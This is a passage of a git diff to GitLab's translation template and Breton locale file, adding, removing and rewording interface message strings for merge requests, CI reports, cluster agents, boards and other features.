-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/br_FR/gitlab.po b/locale/br_FR/gitlab.po
index 4ee94da0b8e..5b8b85651d0 100644
--- a/locale/br_FR/gitlab.po
+++ b/locale/br_FR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: br-FR\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:42\n"
+"PO-Revision-Date: 2021-12-06 19:00\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -335,6 +332,14 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -415,6 +420,14 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -519,6 +532,14 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -602,6 +623,12 @@ msgstr[4] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -693,6 +720,14 @@ msgstr[4] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -924,7 +959,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -978,6 +1013,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -1013,9 +1051,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -1040,6 +1075,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -1075,6 +1113,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -1127,9 +1168,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -1249,6 +1287,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1383,6 +1424,14 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+
msgid "(this user)"
msgstr ""
@@ -1392,6 +1441,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1433,6 +1485,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1813,9 +1868,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1852,9 +1904,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1903,9 +1952,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -2041,9 +2087,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -2290,12 +2333,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2338,6 +2387,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2380,9 +2435,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2452,6 +2504,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2497,9 +2552,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2542,7 +2594,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2551,7 +2603,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2647,6 +2699,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2713,7 +2768,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -3250,19 +3305,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3853,9 +3917,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3883,6 +3944,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -4042,6 +4106,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -4227,6 +4294,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -4266,6 +4336,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -4308,9 +4381,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -4323,9 +4393,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4385,6 +4452,9 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4396,6 +4466,9 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4823,6 +4896,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -5029,6 +5105,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -5132,6 +5211,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5780,6 +5862,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5860,6 +5945,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5869,12 +5957,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5887,6 +5984,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5984,6 +6084,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5996,6 +6099,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -6287,10 +6393,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -6299,6 +6408,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6547,6 +6659,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6841,10 +6956,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6895,9 +7010,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6910,6 +7022,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6973,10 +7088,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -7041,6 +7156,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -7058,9 +7176,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -7259,9 +7374,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7559,6 +7671,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7601,6 +7716,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7643,12 +7761,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7670,16 +7782,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7691,9 +7818,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7703,6 +7851,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7712,28 +7863,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7745,6 +7899,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7757,60 +7914,78 @@ msgstr ""
